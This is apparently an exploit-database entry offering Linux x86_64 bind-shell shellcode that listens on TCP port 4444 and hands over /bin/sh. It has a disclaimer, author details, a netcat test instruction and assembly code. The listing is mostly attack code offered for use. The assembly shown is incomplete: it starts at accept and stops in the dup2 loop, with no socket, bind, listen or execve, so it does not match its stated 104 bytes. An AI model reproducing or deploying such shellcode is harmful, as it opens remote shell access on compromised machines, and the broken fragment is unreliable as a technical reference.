Exploits / Vulnerability Discovered : 2019-06-10 |
Type : shellcode |
Platform : linux_x86-64
This exploit / vulnerability Linux/x86_64 bind (4444/tcp) shell (/bin/sh) shellcode (104 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
;Title: Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) (104 bytes)
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 104 bytes
;github = https://github.com/STARRBOY
;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"
push 43 ;sys_accept
pop rax
sub rsp, 16 ;size of the structure on the stack
push rsp
pop rsi ;struct sockaddr
push 16 ;length of the address
push rsp ;stack pointer for struct size
pop rdx
syscall
xchg r10, rax ;save client socket in r10, since we won't use that register for any other operation
close:
;int close(int fd);
push 3 ;sys_close
pop rax
push rax ;save 3 on the stack for rsi in dup2
syscall
xchg rdi, r10 ;client socket as first parameter for dup2
pop rsi ;parameter for dup2 = 3
dup2loop:
; int dup2(int oldfd, int newfd);
push 33 ;sys_dup2
pop rax
dec rsi
syscall
loopnz dup2loop